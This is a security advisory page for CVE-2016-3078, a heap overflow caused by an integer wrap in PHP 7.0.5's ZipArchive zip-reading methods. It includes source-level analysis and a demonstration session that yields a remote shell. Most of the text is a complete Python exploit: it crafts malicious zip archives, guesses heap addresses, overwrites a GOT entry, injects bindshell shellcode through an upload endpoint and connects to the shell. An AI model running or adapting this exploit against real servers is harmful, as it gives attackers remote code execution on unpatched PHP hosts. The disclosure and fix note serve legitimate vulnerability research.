Lucene search

K
packetstormHans Jerry IllikainenPACKETSTORM:136843
HistoryApr 28, 2016 - 12:00 a.m.

PHP 7.x Heap Overflow

2016-04-2800:00:00
Hans Jerry Illikainen
packetstormsecurity.com
48

0.344 Low

EPSS

Percentile

96.7%

`Details  
=======  
  
An integer wrap may occur in PHP 7.x before version 7.0.6 when reading  
zip files with the getFromIndex() and getFromName() methods of  
ZipArchive, resulting in a heap overflow.  
  
php-7.0.5/ext/zip/php_zip.c  
,----  
| 2679 static void php_zip_get_from(INTERNAL_FUNCTION_PARAMETERS, int type) /* {{{ */  
| 2680 {  
| ....  
| 2684 struct zip_stat sb;  
| ....  
| 2689 zend_long len = 0;  
| ....  
| 2692 zend_string *buffer;  
| ....  
| 2702 if (type == 1) {  
| 2703 if (zend_parse_parameters(ZEND_NUM_ARGS(), "P|ll", &filename, &len, &flags) == FAILURE) {  
| 2704 return;  
| 2705 }  
| 2706 PHP_ZIP_STAT_PATH(intern, ZSTR_VAL(filename), ZSTR_LEN(filename), flags, sb); // (1)  
| 2707 } else {  
| 2708 if (zend_parse_parameters(ZEND_NUM_ARGS(), "l|ll", &index, &len, &flags) == FAILURE) {  
| 2709 return;  
| 2710 }  
| 2711 PHP_ZIP_STAT_INDEX(intern, index, 0, sb); // (1)  
| 2712 }  
| ....  
| 2718 if (len < 1) {  
| 2719 len = sb.size;  
| 2720 }  
| ....  
| 2731 buffer = zend_string_alloc(len, 0); // (2)  
| 2732 n = zip_fread(zf, ZSTR_VAL(buffer), ZSTR_LEN(buffer)); // (3)  
| ....  
| 2742 }  
`----  
  
With `sb.size' from (1) being:  
  
php-7.0.5/ext/zip/lib/zip_stat_index.c  
,----  
| 038 ZIP_EXTERN int  
| 039 zip_stat_index(zip_t *za, zip_uint64_t index, zip_flags_t flags,  
| 040 zip_stat_t *st)  
| 041 {  
| ...  
| 043 zip_dirent_t *de;  
| 044  
| 045 if ((de=_zip_get_dirent(za, index, flags, NULL)) == NULL)  
| 046 return -1;  
| ...  
| 063 st->size = de->uncomp_size;  
| ...  
| 086 }  
`----  
  
Both `size' and `uncomp_size' are unsigned 64bit integers:  
  
php-7.0.5/ext/zip/lib/zipint.h  
,----  
| 339 struct zip_dirent {  
| ...  
| 351 zip_uint64_t uncomp_size; /* (cl) size of uncompressed data */  
| ...  
| 332 };  
`----  
  
php-7.0.5/ext/zip/lib/zip.h  
,----  
| 279 struct zip_stat {  
| ...  
| 283 zip_uint64_t size; /* size of file (uncompressed) */  
| ...  
| 290 };  
`----  
  
Whereas `len' is signed and has a platform-dependent size:  
  
php-7.0.5/Zend/zend_long.h  
,----  
| 028 #if defined(__x86_64__) || defined(__LP64__) || defined(_LP64) || defined(_WIN64)  
| 029 # define ZEND_ENABLE_ZVAL_LONG64 1  
| 030 #endif  
| ...  
| 033 #ifdef ZEND_ENABLE_ZVAL_LONG64  
| 034 typedef int64_t zend_long;  
| ...  
| 043 #else  
| 044 typedef int32_t zend_long;  
| ...  
| 053 #endif  
`----  
  
Uncompressed file sizes in zip-archives may be specified as either 32-  
or 64bit values; with the latter requiring that the size be specified in  
the extra field in zip64 mode.  
  
Anyway, as for the invocation of `zend_string_alloc()' in (2):  
  
php-7.0.5/Zend/zend_string.h  
,----  
| 119 static zend_always_inline zend_string *zend_string_alloc(size_t len, int persistent)  
| 120 {  
| 121 zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent); // (4)  
| ...  
| 133 ZSTR_LEN(ret) = len; // (5)  
| 134 return ret;  
| 135 }  
`----  
  
The `size' argument to the `pemalloc' macro is aligned/adjusted in (4)  
whilst the *original* value of `len' is stored as the size of the  
allocated buffer in (5). No boundary checking is done in (4) and it may  
thus wrap, which would lead to a heap overflow during the invocation of  
`zip_fread()' in (3) as the `toread' argument is `ZSTR_LEN(buffer)':  
  
php-7.0.5/Zend/zend_string.h  
,----  
| 041 #define ZSTR_LEN(zstr) (zstr)->len  
`----  
  
On a 32bit system:  
  
,----  
| (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0xfffffffe))  
| $1 = 0x10  
`----  
  
The wraparound may also occur on 64bit systems with `uncomp_size'  
specified in the extra field (Zip64 mode; ext/zip/lib/zip_dirent.c:463).  
However, it won't result in a buffer overflow because of `zip_fread()'  
bailing on a size that would have wrapped the allocation in (4):  
  
php-7.0.5/ext/zip/lib/zip_fread.c  
,----  
| 038 ZIP_EXTERN zip_int64_t  
| 039 zip_fread(zip_file_t *zf, void *outbuf, zip_uint64_t toread)  
| 040 {  
| ...  
| 049 if (toread > ZIP_INT64_MAX) {  
| 050 zip_error_set(&zf->error, ZIP_ER_INVAL, 0);  
| 051 return -1;  
| 052 }  
| ...  
| 063 }  
`----  
  
php-7.0.5/ext/zip/lib/zipconf.h  
,----  
| 130 #define ZIP_INT64_MAX 0x7fffffffffffffffLL  
`----  
  
,----  
| (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0x7fffffffffffffff))  
| $1 = 0x8000000000000018  
`----  
  
  
PoC  
===  
  
Against Arch Linux i686 with php-fpm 7.0.5 behind nginx [1]:  
  
,----  
| $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php  
| [*] this may take a while  
| [*] 103 of 4096 (0x67fd0)...  
| [+] connected to 1.2.3.4:5555  
|   
| id  
| uid=33(http) gid=33(http) groups=33(http)  
|   
| uname -a  
| Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST  
| 2016 i686 GNU/Linux  
|   
| pacman -Qs php-fpm  
| local/php-fpm 7.0.5-2  
| FastCGI Process Manager for PHP  
|   
| cat upload.php  
| <?php  
| $zip = new ZipArchive();  
| if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {  
| echo "cannot open archive\n";  
| } else {  
| for ($i = 0; $i < $zip->numFiles; $i++) {  
| $data = $zip->getFromIndex($i);  
| }  
| $zip->close();  
| }  
| ?>  
`----  
  
  
Solution  
========  
  
This issue has been fixed in php 7.0.6.  
  
  
  
Footnotes  
_________  
  
[1] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3078]  
  
  
--   
Hans Jerry Illikainen  
  
  
exploit.py:  
  
#!/usr/bin/env python2  
#  
# PoC for CVE-2016-3078 targeting Arch Linux i686 running php-fpm 7.0.5  
# behind nginx.  
#  
# ,----  
# | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php  
# | [*] this may take a while  
# | [*] 103 of 4096 (0x67fd0)...  
# | [+] connected to 1.2.3.4:5555  
# |  
# | id  
# | uid=33(http) gid=33(http) groups=33(http)  
# |  
# | uname -a  
# | Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST  
# | 2016 i686 GNU/Linux  
# |  
# | pacman -Qs php-fpm  
# | local/php-fpm 7.0.5-2  
# | FastCGI Process Manager for PHP  
# |  
# | cat upload.php  
# | <?php  
# | $zip = new ZipArchive();  
# | if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {  
# | echo "cannot open archive\n";  
# | } else {  
# | for ($i = 0; $i < $zip->numFiles; $i++) {  
# | $data = $zip->getFromIndex($i);  
# | }  
# | $zip->close();  
# | }  
# | ?>  
# `----  
#  
# - Hans Jerry Illikainen  
#  
import os  
import sys  
import argparse  
import socket  
import urlparse  
import collections  
from struct import pack  
from binascii import crc32  
  
import requests  
  
# bindshell from PEDA  
shellcode = [  
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"  
"\x43\x52\x66\x68%(port)s\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"  
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"  
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"  
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"  
"\x89\xe1\xcd\x80"  
]  
  
# 100k runs had the zend_mm_heap mapped at 0xb6a00040 ~53.333% and at  
# 0xb6c00040 ~46.667% of the time.  
zend_mm_heap = [0xb6a00040, 0xb6c00040]  
  
# offset to the payload from the zend heap  
zend_mm_heap_offset = "0x%xfd0"  
  
# Zend/zend_alloc_sizes.h  
zend_mm_max_small_size = 3072  
  
# exit()  
R_386_JUMP_SLOT = 0x08960a48  
  
ZipEntry = collections.namedtuple("ZipEntry", "name, data, size")  
  
  
def zip_file_header(fname, data, size):  
return "".join([  
pack("<I", 0x04034b50), # signature  
pack("<H", 0x0), # minimum version  
pack("<H", 0x0), # general purpose bit flag  
pack("<H", 0x0), # compression method  
pack("<H", 0), # last modification time  
pack("<H", 0), # last modification date  
pack("<I", crc32(data) & 0xffffffff), # crc-32  
pack("<I", len(data)), # compressed size  
pack("<I", size), # uncompressed size  
pack("<H", len(fname)), # filename length  
pack("<H", 0x0), # extra field length  
fname, # filename  
"", # extra  
data # compressed data  
])  
  
  
def zip_central_dir(offset, fname, data, size):  
return "".join([  
pack("<I", 0x02014b50), # signature  
pack("<H", 0x0), # archive created with version  
pack("<H", 0x0), # archive requires version  
pack("<H", 0x0), # general purpose bit flag  
pack("<H", 0x0), # compression method  
pack("<H", 0), # last modification time  
pack("<H", 0), # last modification date  
pack("<I", crc32(data) & 0xffffffff), # crc-32  
pack("<I", len(data)), # compressed size  
pack("<I", size), # uncompressed size  
pack("<H", len(fname)), # filename length  
pack("<H", 0x0), # extra field length  
pack("<H", 0x0), # comment length  
pack("<H", 0x0), # disk number  
pack("<H", 0x0), # internal file attributes  
pack("<I", 0x0), # external file attributes  
pack("<I", offset), # offset of file header  
fname, # filename  
"", # extra  
"", # comment  
])  
  
  
def zip_central_dir_end(num, size, offset):  
return "".join([  
pack("<I", 0x06054b50), # signature  
pack("<H", 0x0), # disk number  
pack("<H", 0x0), # disk where central directory starts  
pack("<H", num), # number of central directories on this disk  
pack("<H", num), # total number of central directory records  
pack("<I", size), # size of central directory  
pack("<I", offset), # offset of central directory  
pack("<H", 0x0), # comment length  
"" # comment  
])  
  
  
def zip_entries(addr, shellcode):  
if len(shellcode) > zend_mm_max_small_size:  
sys.exit("[-] shellcode is too big")  
  
size = 0xfffffffe  
length = 256  
entries = [ZipEntry("shellcode", shellcode, zend_mm_max_small_size)]  
for i in range(16):  
data = "A" * length  
if i == 0:  
data = pack("<I", (R_386_JUMP_SLOT - 0x10)) * (length / 4)  
elif i == 3:  
data = pack("<I", addr) + data[4:]  
entries.append(ZipEntry("overflow", data, size))  
return entries  
  
  
def zip_create(entries):  
archive = []  
directories = []  
offset = 0  
for e in entries:  
file_header = zip_file_header(e.name, e.data, e.size)  
directories.append((e, offset))  
offset += len(file_header)  
archive.append(file_header)  
  
directories_length = 0  
for e, dir_offset in directories:  
central_dir = zip_central_dir(dir_offset, e.name, e.data, e.size)  
directories_length += len(central_dir)  
archive.append(central_dir)  
  
end = zip_central_dir_end(len(entries), directories_length, offset)  
archive.append(end)  
return "".join(archive)  
  
  
def zip_send(url, archive):  
files = {"file": archive}  
try:  
req = requests.post(url, files=files, timeout=5)  
except requests.exceptions.ConnectionError:  
sys.exit("[-] failed to send archive")  
except requests.exceptions.Timeout:  
return  
  
return req.status_code  
  
  
def connect(host, port):  
addr = socket.gethostbyname(host)  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
sock.connect((addr, port))  
except socket.error:  
return  
  
print("\n[+] connected to %s:%d" % (host, port))  
if os.fork() == 0:  
while True:  
try:  
data = sock.recv(8192)  
except KeyboardInterrupt:  
sys.exit("\n[!] receiver aborting")  
if data == "":  
sys.exit("[!] receiver aborting")  
sys.stdout.write(data)  
else:  
while True:  
try:  
cmd = sys.stdin.readline()  
except KeyboardInterrupt:  
sys.exit("[!] sender aborting")  
sock.send(cmd)  
  
  
def get_shellcode(port):  
p = pack(">H", port)  
if "\x00" in p:  
sys.exit("[-] encode your NUL-bytes")  
return "".join(shellcode) % {"port": p}  
  
  
def get_args():  
p = argparse.ArgumentParser()  
p.add_argument("--tries", type=int, default=4096)  
p.add_argument("--bind-port", type=int, default=8000)  
p.add_argument("url", help="POST url")  
return p.parse_args()  
  
  
def main():  
args = get_args()  
shellcode = get_shellcode(args.bind_port)  
host = urlparse.urlparse(args.url).netloc.split(":")[0]  
  
print("[*] this may take a while")  
for i in range(args.tries):  
offset = int(zend_mm_heap_offset % i, 16)  
sys.stdout.write("\r[*] %d of %d (0x%x)..." % (i, args.tries, offset))  
sys.stdout.flush()  
for heap in zend_mm_heap:  
archive = zip_create(zip_entries(heap + offset, shellcode))  
if zip_send(args.url, archive) == 404:  
sys.exit("\n[-] 404: %s" % args.url)  
connect(host, args.bind_port)  
print("\n[-] nope...")  
  
if __name__ == "__main__":  
main()  
  
  
`